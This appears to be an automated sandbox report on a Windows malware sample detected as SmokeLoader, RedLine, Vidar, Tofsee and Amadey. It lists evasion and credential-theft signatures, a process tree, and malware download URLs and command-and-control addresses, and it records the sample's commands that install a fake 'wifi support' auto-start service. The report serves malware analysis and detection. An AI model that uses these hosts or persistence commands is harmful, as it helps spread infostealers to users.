Play interactive tour

Edit tour

Windows Analysis Report eIxMVDoQF3.exe

Overview

General Information

Sample Name:	eIxMVDoQF3.exe
Analysis ID:	553015
MD5:	b45bf93a4b27690392433619c5006e8b
SHA1:	9ec3ad4b028ab127e71fd755263dd0aa8a17260e
SHA256:	e997341ab2422f5471f4c9f1df84f7a52e16fa38d64e6e0f4f94859cc234e2f8
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

Amadey RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Changes security center settings (notifications, updates, antivirus, firewall)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Social media urls found in memory data

Found evaded block containing many API calls

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

eIxMVDoQF3.exe (PID: 6904 cmdline: "C:\Users\user\Desktop\eIxMVDoQF3.exe" MD5: B45BF93A4B27690392433619C5006E8B)

eIxMVDoQF3.exe (PID: 6932 cmdline: "C:\Users\user\Desktop\eIxMVDoQF3.exe" MD5: B45BF93A4B27690392433619C5006E8B)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

F805.exe (PID: 6800 cmdline: C:\Users\user\AppData\Local\Temp\F805.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 5620 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6800 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

B50.exe (PID: 5760 cmdline: C:\Users\user\AppData\Local\Temp\B50.exe MD5: FF0D190D6DF636D7DE53B8B6B683BC6E)

743F.exe (PID: 6640 cmdline: C:\Users\user\AppData\Local\Temp\743F.exe MD5: F05279062D67B1F816420725086C77AB)

cmd.exe (PID: 6360 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\icpymrdv\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3532 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\tvdcssmj.exe" C:\Windows\SysWOW64\icpymrdv\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 5508 cmdline: C:\Windows\SysWOW64\sc.exe" create icpymrdv binPath= "C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe /d\"C:\Users\user\AppData\Local\Temp\743F.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 4412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6808 cmdline: C:\Windows\SysWOW64\sc.exe" description icpymrdv "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

7D0A.exe (PID: 6788 cmdline: C:\Users\user\AppData\Local\Temp\7D0A.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

7D0A.exe (PID: 2008 cmdline: C:\Users\user\AppData\Local\Temp\7D0A.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

svchost.exe (PID: 6964 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7020 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7056 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7120 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7160 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3928 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6264 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 6216 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 5504 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6784 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3108 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

rwjfsvd (PID: 6856 cmdline: C:\Users\user\AppData\Roaming\rwjfsvd MD5: B45BF93A4B27690392433619C5006E8B)

rwjfsvd (PID: 6844 cmdline: C:\Users\user\AppData\Roaming\rwjfsvd MD5: B45BF93A4B27690392433619C5006E8B)

svchost.exe (PID: 5580 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2056 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 4844 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6800 -ip 6800 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000025.00000000.429672404.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000025.00000000.428360740.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000025.00000000.429057949.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.382566740.0000000000460000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.382707049.00000000004D1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000025.00000002.520312697.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000002.437060463.0000000004361000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000025.00000000.427833642.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.332260069.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.332377268.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000A.00000000.318144404.0000000002E21000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000018.00000003.392346980.0000000000590000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: 743F.exe PID: 6640	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: 7D0A.exe PID: 2008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.rwjfsvd.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.2.743F.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
24.2.743F.exe.570e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
25.2.7D0A.exe.447f910.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.1.eIxMVDoQF3.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
1.2.eIxMVDoQF3.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
25.2.7D0A.exe.447f910.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.0.rwjfsvd.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.0.rwjfsvd.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
37.0.7D0A.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
14.2.rwjfsvd.5715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
37.0.7D0A.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.0.rwjfsvd.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
37.0.7D0A.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.eIxMVDoQF3.exe.6515a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.2.743F.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
37.0.7D0A.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.1.rwjfsvd.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.3.743F.exe.590000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
37.0.7D0A.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
37.2.7D0A.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 16 entries

Sigma Overview

System Summary:

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\tvdcssmj.exe" C:\Windows\SysWOW64\icpymrdv\, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\tvdcssmj.exe" C:\Windows\SysWOW64\icpymrdv\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\743F.exe, ParentImage: C:\Users\user\AppData\Local\Temp\743F.exe, ParentProcessId: 6640, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\tvdcssmj.exe" C:\Windows\SysWOW64\icpymrdv\, ProcessId: 3532

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\SysWOW64\sc.exe" create icpymrdv binPath= "C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe /d\"C:\Users\user\AppData\Local\Temp\743F.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\SysWOW64\sc.exe" create icpymrdv binPath= "C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe /d\"C:\Users\user\AppData\Local\Temp\743F.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\743F.exe, ParentImage: C:\Users\user\AppData\Local\Temp\743F.exe, ParentProcessId: 6640, ProcessCommandLine: C:\Windows\SysWOW64\sc.exe" create icpymrdv binPath= "C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe /d\"C:\Users\user\AppData\Local\Temp\743F.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 5508

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9042_1641895079_9876.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe

Avira: detection malicious, Label: HEUR/AGEN.1211353

Multi AV Scanner detection for submitted file

Show sources

Source: eIxMVDoQF3.exe

Virustotal: Detection: 38%

Perma Link

Multi AV Scanner detection for domain / URL

Show sources

Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Virustotal: Detection: 16%			Perma Link
Source: http://data-host-coin-8.com/files/9042_1641895079_9876.exe	Virustotal: Detection: 12%			Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\1FD7.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1FD7.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\3A08.exe	ReversingLabs: Detection: 85%
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\E5C8.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\E5C8.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\F6C0.exe	Metadefender: Detection: 29%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\F6C0.exe	ReversingLabs: Detection: 81%

Machine Learning detection for sample

Show sources

Source: eIxMVDoQF3.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\F805.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\tvdcssmj.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\E5C8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3A08.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1547.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\27D7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6CF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F6C0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1FD7.exe	Joe Sandbox ML: detected

Source: 23.3.B50.exe.590000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 23.2.B50.exe.570e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 24.3.743F.exe.590000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 24.2.743F.exe.570e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 24.2.743F.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen

Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	23_2_00407470
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	23_2_00404830
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	23_2_00407510
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00407190 CryptUnprotectData,	23_2_00407190
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	23_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_005776C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	23_2_005776C0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00574A80 CryptStringToBinaryA,CryptStringToBinaryA,	23_2_00574A80
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00577760 CryptUnprotectData,LocalAlloc,LocalFree,	23_2_00577760
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_005779F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	23_2_005779F0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_005773E0 CryptUnprotectData,	23_2_005773E0
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_0691BE60 CryptUnprotectData,	37_2_0691BE60
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_0691C868 CryptUnprotectData,	37_2_0691C868

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\B50.exe	Unpacked PE file: 23.2.B50.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Unpacked PE file: 24.2.743F.exe.400000.0.unpack

Source: eIxMVDoQF3.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\F805.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.3:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.3:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49884 version: TLS 1.2

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: F805.exe, 00000010.00000002.415183995.0000000000413000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.371111845.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000016.00000002.414101701.00000000053D0000.00000002.00020000.sdmp
Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000016.00000003.385582652.0000000004FC9000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: dC:\fuyazosav96\tohoxubuy-parovu\hutecu\gif-rewasugirupo.pdbh source: B50.exe, 00000017.00000000.384081537.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: FC:\nezo37 pagap_pejusexi bopabizaseg\wumogu30\gonoxiwi.pdbh source: 743F.exe, 00000018.00000000.389463395.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdby source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: C:\nezo37 pagap_pejusexi bopabizaseg\wumogu30\gonoxiwi.pdb source: 743F.exe, 00000018.00000000.389463395.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: C:\vapep44\dasijubud\xerateyot\fobo.pdb source: eIxMVDoQF3.exe, eIxMVDoQF3.exe, 00000000.00000000.272266280.0000000000401000.00000020.00020000.sdmp, eIxMVDoQF3.exe, 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, eIxMVDoQF3.exe, 00000001.00000000.275168488.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000E.00000002.368688662.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000E.00000000.362684220.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000F.00000000.365468817.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb= source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: C:\fuyazosav96\tohoxubuy-parovu\hutecu\gif-rewasugirupo.pdb source: B50.exe, 00000017.00000000.384081537.0000000000401000.00000020.00020000.sdmp
